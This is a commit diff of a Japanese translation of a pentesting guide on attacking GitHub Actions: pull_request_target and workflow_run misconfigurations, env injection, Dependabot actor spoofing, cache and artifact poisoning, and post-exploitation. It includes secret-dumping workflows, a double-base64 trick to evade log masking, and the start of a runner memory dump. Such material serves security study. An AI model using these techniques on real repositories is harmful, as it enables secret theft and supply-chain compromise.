Translated ['src/pentesting-cloud/azure-security/az-basic-information/az

This commit is contained in:
Translator
2025-09-29 23:24:26 +00:00
parent 12c692fc8a
commit fa91da741c
2 changed files with 350 additions and 117 deletions

View File

@@ -4,7 +4,7 @@
## ツール
以下のツールはGithub Actionのワークフローを見つけ、脆弱なものを検出するのに便利です:
以下のツールはGithub Actionのworkflowを見つけたり、脆弱なものを発見したりするのに有用です:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -14,45 +14,45 @@
## 基本情報
このページには次の内容が含まれます:
このページには以下が含まれます:
- 攻撃者がGithub Actionにアクセスた場合の**すべての影響の要約**
- Actionに**アクセスする方法**:
- Actionを作成するための**権限**を持っていること
- **pull request**関連のトリガー悪用すること
- その他の**外部アクセス**手法悪用すること
- 既に侵害されたリポジトリからの**Pivoting**
- 最後に、Action内部から悪用するための**post-exploitation techniques**に関するセクション(上記の影響を引き起こす)
- 攻撃者がGithub Actionにアクセスできた場合の影響の**要約**
- アクションへのアクセスを得るための**様々な方法**:
- アクションを作成するための**権限**を持こと
- **pull request**関連のトリガー悪用
- 他の**外部アクセス**手法悪用
- 既に侵害されたrepoからの**Pivoting**
- 最後に、アクション内部から悪用するための**post-exploitation techniques to abuse an action from inside**(上記の影響を引き起こす)についてのセクション
## 影響の
## 影響の要
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
リポジトリ内で**GitHub Actionsで任意のコードを実行できる**場合、次のことが可能になるかもしれません:
リポジトリ内で**GitHub Actionsで任意のコードを実行できる**場合、以下が可能になることがあります:
- パイプラインにマウントされた**秘密情報を盗む**とともに、パイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームへの不正アクセスを得ることができる
- **デプロイメントを侵害する**およびその他の**アーティファクト**を改ざんできる。
- パイプラインがアセットをデプロイまたは保存している場合、最終製品を改変してサプライチェーン攻撃を可能にすることができる
- **カスタムワーカー上でコードを実行する**ことで計算リソースを悪用し、他のシステムへPivotすることができる。
- `GITHUB_TOKEN`紐づく権限に応じて、**リポジトリコードを上書きする**ことが可能です
- パイプラインにマウントされた**secretsを盗む**、およびパイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームへの不正アクセスを行う
- デプロイやその他の**artifactsを破損/改ざん**する。
- パイプラインがアセットをデプロイまたは保存る場合、最終製品を改変してサプライチェーン攻撃を可能にする。
- カスタムワーカー上で**コードを実行**して計算資源を悪用し、他のシステムへ**pivot**する。
- `GITHUB_TOKEN`関連する権限によっては、リポジトリコードを**上書き**する。
## GITHUB_TOKEN
この"secret"`${{ secrets.GITHUB_TOKEN }}` および `${{ github.token }}` から取得)は、管理者がこのオプションを有効にしたときに付与されます:
この「**シークレット**」( `${{ secrets.GITHUB_TOKEN }}` `${{ github.token }}` から提供される) は、管理者がこのオプションを有効にしたときに付与されます:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
このトークンは**Github Applicationが使用するものと同じ**ため、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
このトークンは**Github Applicationが使用するものと同じ**、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Githubは[**flow**](https://github.com/github/roadmap/issues/74)を公開し、GitHub内で**リポジトリ間アクセスを許可**するようにするべきです。これにより、あるリポジトリが`GITHUB_TOKEN`を使って他の内部リポジトリにアクセスできるようになります。
> Githubは[**flow**](https://github.com/github/roadmap/issues/74)をリリースする予定で、GitHub内で**リポジトリ間アクセスを許可**し、`GITHUB_TOKEN`を使ってリポジトリが他の内部リポにアクセスできるようになります。
このトークンの可能な**権限**は次で確認できます: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
注意: このトークンは**ジョブ完了後に失効する**ことに注意してください.\
これらのトークンは次のようになります: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
このトークンは**ジョブ完了した後に失効する**ことに注意してください\
これらのトークンは次のような形式です: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
このトークンでできることの例:
このトークンでできる興味深いこと:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> いくつかの場合に、**github user tokens inside Github Actions envs or in the secrets** を見つけられることがあります。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
> いくつかの場面では、**Github Actions envs や secrets の中に github user tokens を見つけることができます**。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
<details>
<summary>Github Action の出力にある secrets を一覧表示する</summary>
<summary>Github Action の出力にある secrets を一覧表示</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>secrets を使って reverse shell を取得する</summary>
<summary>secretsを使ってreverse shellを取得する</summary>
```yaml
name: revshell
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
ユーザのリポジトリでGithub Tokenに付与され権限は、actionsの**checking the logs**で確認できます:
他ユーザのリポジトリでGithub Tokenに付与されている権限は、Github actionsのログを**確認することで**調べることができます:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## 許可された実行
> [!NOTE]
> これはGithub actionsを侵害する最も簡単な方法です。このケースは、あなたが**create a new repo in the organization**する権限、またはリポジトリに対する**write privileges over a repository**を持っていることを想定しています。
> これはGithub actionsを侵害する最も簡単な方法です。このケースは、あなたが**create a new repo in the organization**できるか、またはリポジトリに対して**write privileges over a repository**を持っていることを想定します。
>
> この状況にある場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認してください。
> このシナリオにいる場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認してください。
### Execution from Repo Creation
### Repo作成からの実行
組織のメンバーが**create new repos**でき、かつあなたがgithub actionsを実行できる場合、**create a new repo and steal the secrets set at organization level**ことが可能です。
組織のメンバーが**create new repos**でき、かつあなたがgithub actionsを実行できる場合、**create a new repo and steal the secrets set at organization level**することができます。
### Execution from a New Branch
### 新しいブランチからの実行
既にGithub Actionが設定されているリポジトリで**create a new branch in a repository that already contains a Github Action**ことができれば、それを**modify**し、コンテンツを**upload**してから、**execute that action from the new branch**できます。こうして**exfiltrate repository and organization level secrets**(ただしそれらがどの名前で設定されているかを知っている必要があります)。
もし既にGithub Actionが設定されているrepository内に**create a new branch in a repository that already contains a Github Action**できるなら、それを**modify**し、コンテンツを**upload**して、**execute that action from the new branch**することができます。こうすることで**exfiltrate repository and organization level secrets**できますただし、secretの名前を知っている必要があります)。
> [!WARNING]
> workflow YAML内だけ実装された制限(例えば、`on: push: branches: [main]`、ジョブの条件式、または手動ゲート)はコラボレータによって編集可能です。外部からの強制branch protections、protected environments、protected tagsがなければ、貢献者はワークフローのターゲットを自分のブランチに向け直して、マウントされたsecrets/permissionsを悪用できます。
> workflow YAML内だけ実装された制限(例えば、`on: push: branches: [main]`、job conditionals、またはmanual gates)はコラボレータによって編集され得ます。外部の強制branch protections、protected environments、and protected tagsがなければ、貢献者はワークフローのターゲットを自分のブランチに変更して、マウントされたsecrets/permissionsを悪用できます。
修正したactionは、**manually,** **PR is created**時、または**some code is pushed**時に実行可能にできます(どれだけ目立ちたくないかによります)
修正したactionは、**manually,** **PR is created**時、または**some code is pushed**時に実行可能にできます(どれくらい目立ちたいかによります):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,43 +180,43 @@ branches:
```
---
## フォークされた実行
## Forked Execution
> [!NOTE]
> 攻撃者が**別のリポジトリの Github Action を実行する**ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に設定されていると、攻撃者がそれらを侵害する可能性があります。
> 攻撃者がのリポジトリの **Github Action を実行する** ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に設定されていると、攻撃者がそれらを乗っ取る可能性があります。
### `pull_request`
ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストが受信されるたびにワークフローを実行します:デフォルトでは**初めて**コラボレーションする場合、プロジェクトの**メンテナー**がワークフローの**実行**を**承認**する必要があります:
ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストが受信されるたびにワークフローを実行します:デフォルトでは**first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> デフォルトの制限は**初回の**コントリビューターに対するものなので、妥当なバグやタイプミスの修正で貢献した後に、**新しい `pull_request` 権限を悪用するための別の PR を送る**ことが可能になる場合があります。
> デフォルトの制限が **first-time** contributors 向けであるため、有効なバグtypo を修正する形で貢献し、その後 **other PRs to abuse your new `pull_request` privileges** を送ることで特権を悪用できる可能性があります。
>
> **私はこれを試しましたが動きませんでした**: ~~プロジェクトに貢献した誰かの名前でアカウントを作成し、その人のアカウントを削除するという別の選択肢があるかもしれません。~~
> **検証しましたが、これは動作しません** ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
さらに、デフォルトではターゲットリポジトリへの**書き込み権限**と**secrets へのアクセス**を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています
さらに、デフォルトではターゲットリポジトリへの **write permissions****secrets access** を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)を参照してください
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
攻撃者は Github Action の定義を変更して任意の処理を実行したり任意のアクションを追加したりすることができます。しかし、前述の制限によりsecrets を盗んだりリポジトリを上書きしたりすることはできません。
攻撃者は Github Action の定義を変更して任意の処理を実行したり任意のアクションを追加したりすることができます。しかし、前述の制限により secrets を盗んだり repo を上書きしたりすることはできません。
> [!CAUTION]
> **はい、攻撃者がPR内でトリガーされる github action を変更した場合、使用されるのは元リポジトリのものではなく攻撃者の Github Action になります!**
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
実行されるコードも攻撃者が制御しているため、`GITHUB_TOKEN` に secrets や書き込み権限が無くても、例えば**悪意のあるアーティファクトをアップロードする**ことが可能です。
攻撃者が実行されるコードも制御するため、`GITHUB_TOKEN` に secrets や write permissions がなくても、例えば **upload malicious artifacts** などの行為が可能です。
### **`pull_request_target`**
ワークフロートリガー **`pull_request_target`** はターゲットリポジトリへの**書き込み権限**と**secrets へのアクセス**を持ち(許可を求めません)。
ワークフロートリガー **`pull_request_target`** はターゲットリポジトリへの **write permission****access to secrets** を持ち(許可を求めません)。
ワークフロートリガー **`pull_request_target`** は**base context で実行され**、PR が与えるコンテキストでは実行されません(**信頼できないコードを実行しないため**)。`pull_request_target` の詳細は[**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)を参照してください。\
さらに、この特定の危険な使用法については[**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。
注意:ワークフロートリガー **`pull_request_target`** は **runs in the base context** で実行され、PR が提供するコンテキストではありません(**not execute untrusted code** ため)。`pull_request_target` の詳細は [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) を参照してください。\
また、この特定の危険な使い方については [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) を参照してください。
実行されるワークフローが**base**で定義されたもので**PR内のものではない**ため、**`pull_request_target`** を使うことは安全に見えるかもしれませんが、そうではないケースがいくつかあります。
実行されるワークフローが **base** で定義され **not in the PR** であるため **`pull_request_target`** の使用は安全に見えるかもしれませんが、安全でないケースがいくつかあります。
こちらは**secrets へのアクセス**を持ちます。
そしてこれは **access to secrets** を持ちます。
### `workflow_run`
@@ -230,28 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
さらに、ドキュメントによると: `workflow_run` イベントで開始されたワークフローは、前のワークフローがそうでなくても **secrets にアクセスし、write tokens を使用することができる** とされています。
さらに、ドキュメントによると`workflow_run` イベントで開始されたワークフローは、前のワークフローができなかったとしても、シークレットにアクセスし、書き込み用のトークンを取得できます。
この種のワークフローは、外部ユーザ**`pull_request`** または **`pull_request_target`** を介して **トリガーできる** **workflow** **依存している** 場合、攻撃対象になり得ます。いくつかの脆弱な例は [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 最初の例は`workflow_run` トリガーワークフローが攻撃者のコード `${{ github.event.pull_request.head.sha }}` をダウンロードするものです。二つ目の例は、**untrusted** コードからの **artifact****`workflow_run`** ワークフローに **渡し**、そのアーティファクトの内容を RCE に **脆弱な方法で使用する**ものです。
この種のワークフローは、外部ユーザが **`pull_request`** **`pull_request_target`** を通じてトリガーできる **workflow** に依存している場合、攻撃される可能性があります。脆弱な例がいくつか[**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**** 最初の例は **`workflow_run`** によってトリガーされたワークフローが攻撃者のコードをダウンロードするというものです: `${{ github.event.pull_request.head.sha }}`\
2つ目の例は、**untrusted** なコードから **artifact****`workflow_run`** ワークフローに渡し、その artifact の内容を利用することで **RCE に脆弱** になるというものです。
### `workflow_call`
TODO
TODO: pull_request から実行されたときに使用ダウンロードされるコードがリポジトリのものかフォークされた PR のものかを確認する
TODO: pull_request から実行されたときに使用/ダウンロードされるコードが、オリジナルのリポジトリ由来かフォークされた PR のものかを確認する
## フォーク実行の悪用
## フォークされた実行の悪用
外部攻撃者が github ワークフローを実行させる方法はすべて述べました。ここでは、これらの実行が不適切に設定されている場合にどのように悪用されるかを見ていきます:
外部攻撃者が github workflow を実行させるために利用できるすべての方法について述べました。ここでは、これらの実行が不適切に構成されている場合にどのように悪用されるかを見ていきます
### Untrusted checkout の実行
`pull_request` の場合、ワークフローは PR のコンテキストで実行されます(つまり悪意ある PR のコードが実行されます)が、誰かが事前に承認する必要があり、いくつかの [limitations](#pull_request) の下で実行されます。
**`pull_request`** の場合、ワークフローは **PR のコンテキスト** で実行されるため(つまり **悪意ある PR のコードが実行され**)、誰かがそれを **まず承認する必要があり**、いくつかの[制限](#pull_request)の下で実行されます。
もしワークフローが **`pull_request_target` or `workflow_run`** を使`pull_request_target``pull_request` からトリガー可能なワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
`pull_request_target` または `workflow_run` を使用するワークフローが`pull_request_target``pull_request` からトリガーできるワークフローに依存している場合は、オリジナルのリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
> [!CAUTION]
> ただし、もしその **action** が **明示的な PR checkout** を行い **PR からコードを取得する**base からではない)場合、攻撃者が制御するコードが使用されます。例えばPR のコードがダウンロードされる行 12 を確認してください):
> しかし、もしその **action** 明示的な PR チェックアウトがあり、**base ではなく PR からコードを取得する**ようになっている場合、攻撃者が制御するコードが使れます。例えば(行12で PR のコードがダウンロードされていることを確認してください):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -281,32 +282,32 @@ message: |
Thank you!
</code></pre>
ビルドスクリプトや参照される **packages** PR の作成者によって制御されため、`npm install``npm build` の実行中に潜在的に **untrusted code が実行されます**
ビルドスクリプトや参照される **packages PR の作成者によって制御されている** ため、`npm install``npm build` の実行中に潜在的に **untrusted なコードが実行されている** ことになります
> [!WARNING]
> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` です、action が不適切に設定されていても、ジョブを安全に実行するように設定する方法はいくつかあります(例えば PR を作成する actor に関する条件を使うなど)。
> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` です。ただし、action が不安全に構成されている場合でも、ジョブを安全に実行するように構成するPR を生成した actor に関する条件分岐を使うなど)異なる方法が存在します
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### コンテキストにおけるスクリプトインジェクション <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
PR を作成する **ユーザ** によって値が **制御される** 特定の [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) がある点に注意してください。もし github action がその **data を使って何か実行** と、任意のコード実行につながる可能性があります:
PR を作成する **ユーザ** によって値が **制御される** 特定の[**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) が存在することに注意してください。もし github action がその **データを何か実行に使用してい** 場合、**任意のコード実行** に繋がる可能性があります:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV スクリプトインジェクション** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
ドキュメントによると: 環境変数を定義または更新し、それを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの以降の任意のステップでその **環境変数を利用可能にできます**
ドキュメントによると: ワークフロージョブ内の後続の任意のステップから参照できるように、環境変数を定義または更新し、それを **`GITHUB_ENV`** 環境ファイルに書き込むことで環境変数を利用可能にできます。
攻撃者がこの **env** 変数に **任意の値を注入できる** 場合、以降のステップでコードを実行させるような環境変数(例: **LD_PRELOAD****NODE_OPTIONS**)を注入できる可能性があります。
攻撃者がこの **env** 変数の中**任意の値を注入できる** と、後続のステップでコードを実行させる可能性のある環境変数(例えば **LD_PRELOAD****NODE_OPTIONS**)を注入することができます。
例えば([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされた artifact の内容を **`GITHUB_ENV`** 環境変数に格納することを信頼しているワークフローを想像してください。攻撃者はそれを悪用するためにのようなものをアップロードできます:
例えば([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) を参照)、アップロードされた artifact の内容を **`GITHUB_ENV`** 環境変数に格納することを信頼しているワークフローを想像してください。攻撃者はそれを悪用するためにのようなものをアップロードできます:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot and other trusted bots
### Dependabot やその他の信頼されたボット
[**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) に示されているように、いくつかの組織は `dependabot[bot]` からの PR をマージする Github Action を持っており、次のようなケースがあります:
[**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) にるように、いくつかの組織`dependabot[bot]` からの任意の PRR をマージする Github Action を持ってます
```yaml
on: pull_request_target
jobs:
@@ -318,12 +319,12 @@ steps:
```
Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
- 被害者の repository を Fork する
- あなたのコピーに悪意のあるペイロードを追加する
- 自分の fork で Dependabot を有効にし、古い依存関係を追加する。Dependabot はその依存関係を修正する branch を作成し、悪意あるコードを含める。
- その branch から被害者の repository に Pull Request を開くPR はユーザーによって作成されるので、この時点では何も起きない)
- 次に、攻撃者は自分の fork で Dependabot が最初に開いた PR に戻り、`@dependabot recreate` を実行する
- すると Dependabot はその branch でいくつかの操作を実行し、被害者の repo 上の PR を変更する。これにより `dependabot[bot]` がワークフローをトリガーした最新イベントの actor となり(したがってワークフローが実行される)
Moving on, what if instead of merging the Github Action would have a command injection like in:
```yaml
@@ -335,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
元のブログ記事はこの挙動を悪用するための2つの方法を提案しており、以下はそのうちの2つ目です
Well, the original blogpost proposes two options to abuse this behavior being the second one:
- 被害者リポジトリを Fork し、古い依存関係を持つよう Dependabot を有効する。
- 悪意ある shell injection コードを含む新しい branch を作成する。
- その branch をリポジトリの default branch に変更する。
- 被害者リポジトリを Fork し、いくつかの古い依存関係 Dependabot を有効する。
- 悪意ある shell injeciton コードを含む新しい branch を作成する。
- その branch を repo の default branch に変更する。
- この branch から被害者リポジトリへ PR を作成する。
- Fork に Dependabot が開いた PR で `@dependabot merge` を実行する。
- Dependabot はフォークしたリポジトリの default branch に変更をマージし、被害者リポジトリの PR を更新す。これにより、ワークフローをトリガーした最新イベントの actor `dependabot[bot]` になり、悪意あるブランチ名が使われる
- その fork に Dependabot が開いた PR `@dependabot merge` を実行する。
- Dependabot は fork したリポジトリの default branch に彼の変更を merge し、被害者リポジトリの PR を更新します。これにより、ワークフローをトリガーした最新イベントのアクター`dependabot[bot]` になり、悪意ある branch 名を使用することになります
### 脆弱なサードパーティの Github Actions
### Vulnerable Third Party Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
前述の [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で説明されているように、この Github Action は別のワークフローやリポジトリの artifacts にアクセスすることを許可する。
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
問題は、**`path`** パラメータが設定されていない場合、artifact がカレントディレクトリに展開され、ワークフロー内で後に使用されたり実行されたりする可能性のあるファイルを上書きしてしまう点にある。したがって、Artifact が脆弱な場合、攻撃者はこれを悪用してその Artifact を信頼する他のワークフローを侵害できる可能性がある。
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
脆弱なワークフローの例:
Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -396,23 +397,23 @@ path: ./script.py
### Deleted Namespace Repo Hijacking
アカウントが名前を変更すると、しばらく経ってから他のユーザーがその名前でアカウントを登録できる可能性があります。もし repository が名前変更前に **less than 100 stars previously to the change of name** だった場合、Github は同じ名前で登録した新しいユーザーに、削除されたものと **同じ名前の repository を作成**することを許可します。
アカウントが名前を変更すると、しばらくして別のユーザーがその名前でアカウントを登録できる場合があります。もしリポジトリが名前変更前に**100未満の stars**だった場合、Github は同じ名前で新規登録したユーザーに、削除されたものと同じ**repository**を作成することを許可します。
> [!CAUTION]
> したがって、action が存在しないアカウントの repo を使用している場合、攻撃者がそのアカウントを作成して action を侵害する可能性があります。
> したがって、もし action が存在しないアカウントの repo を使用している場合、攻撃者がそのアカウントを作成して action を乗っ取る可能性があります。
もし他の repository がこのユーザーの repo からの **dependencies** を使用してい場合、攻撃者はそれらをハイジャックすることができます。詳しい説明はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
他の repositories がこのユーザーの repos からの **dependencies** を使用してい場合、攻撃者はそれらをハイジャックできます。詳はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> このセクションでは、最初の repo に何らかのアクセス権があると仮定して、ある repo から別の repo **pivot from one repo to another** ことを可能にする技術について説明します(前のセクションを参照)。
> このセクションでは、最初の repo に何らかのアクセスを持っていると仮定して、ある repo から別の repo **pivot する**ことを可能にする手法について説明します(前のセクションを参照)。
### Cache Poisoning
同一 branch **workflow runs** 間で cache が維持されます。つまり、攻撃者が cache に保存され、その後 **more privileged** な workflow によって **downloaded** され実行される **package****compromise** できれば、その workflow も **compromise** されます。
Cache は **同じ branch の workflow 実行間で**維持されます。つまり、攻撃者が cache に保存されるような **package** を乗っ取り、それが **downloaded** されてより権限の高い workflow によって実行されると、その workflow も**compromise**される可能性があります。
{{#ref}}
gh-actions-cache-poisoning.md
@@ -420,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows は **artifacts from other workflows and even repos** を使うことがあります。攻撃者が後別の workflow によって使用される artifact を **uploads an artifact** する Github Action を **compromise** できれば、他の workflows **compromise** することができます:
Workflows は **他の workflows や場合によっては repos からの artifacts** を使うことがあります。もし攻撃者が後別の workflow で使われる **artifact を upload する** Github Action を**compromise**できれば、他の workflow も**compromise**される可能性があります
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -428,13 +429,13 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Action からの Post Exploitation
### Github Action Policies Bypass
このことは [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) で説明されているように、repository や organization が特定の actions の使用を制限する policy を設定していても、攻撃者は workflow 内で action を単に download`git clone`)して、それを local action として参照することができます。policy は local paths に影響を与えないため、**その action は何の制限もなく実行されます。**
[**このブログ記事**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)で述べられているように、リポジトリや組織が特定の actions の使用を制限するポリシーを持っていても、攻撃者は workflow 内で action を単に download`git clone`)してローカル action として参照することができます。ポリシーはローカルパスに影響しないため、**その action は何の制限もなく実行されます。**
Example:
:
```yaml
on: [push, pull_request]
@@ -455,7 +456,7 @@ path: gha-hazmat
- run: ls tmp/checkout
```
### OIDCを介したAWSとGCPへのアクセス
### OIDC 経由で AWS、Azure、GCPアクセスする
Check the following pages:
@@ -463,19 +464,23 @@ Check the following pages:
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### secretsへのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
### secrets へのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
スクリプトにコンテンツを注入している場合、secrets にどのようにアクセスできるかを知っておくと役立ちます:
script にコンテンツを注入している場合、secrets にアクセスする方法を知っておくと便利です:
- secret または token が **環境変数** に設定されている場合、**`printenv`** を使って環境から直接アクセスできます。
- secret または token が **environment variable** に設定されている場合、**`printenv`** を使って環境から直接アクセスできます。
<details>
<summary>Github Action の出力 secrets を一覧表示</summary>
<summary>Github Action の出力 secrets をリストする</summary>
```yaml
name: list_env
on:
@@ -525,11 +530,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- secretが**式の中で直接使用される**と、生成されたシェルスクリプトは**ディスク上に保存**され、アクセス可能になります。
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript action the secrets are sent through environment variables
- JavaScript actionsの場合、secretsenvironment variables経由で渡されます
- ```bash
ps axe | grep node
```
@@ -541,7 +546,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHubs log masking and decode locally:
- secrets contextを使ってすべてのsecretsを列挙しますcollaboratorレベル。write権限のある貢献者は任意のブランチでworkflowを修正してリポジトリ/org/environmentのすべてのsecretsをダンプできます。GitHubのログマスキングを回避するために二重base64を使い、ローカルでデコードしてください
```yaml
name: Steal secrets
@@ -565,27 +570,27 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Self-hosted runners の悪用
### Self-hosted runnersの悪用
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
どの**GitHub Actionsが非-GitHubインフラストラクチャで実行されているか**を見つける方法は、Github Actionの設定yamlで**`runs-on: self-hosted`**を検索することです。
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
**Self-hosted** runnersは**追加の機密情報**や他の**ネットワークシステム**ネットワーク内の脆弱なエンドポイントやmetadata serviceなどにアクセスできる可能性があります。また、たとえ隔離されて破棄されるとしても、**複数のactionが同時に実行される**ことがあり、悪意あるものが他のものの**secretsを盗む**可能性があります。
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
self-hosted runnersでは、メモリをダンプすることで、**secrets from the \_Runner.Listener**\_\*\* process\*\*からワークフローの任意のステップのすべてのsecretsを取得することも可能です
```bash
sudo apt-get install -y gdb
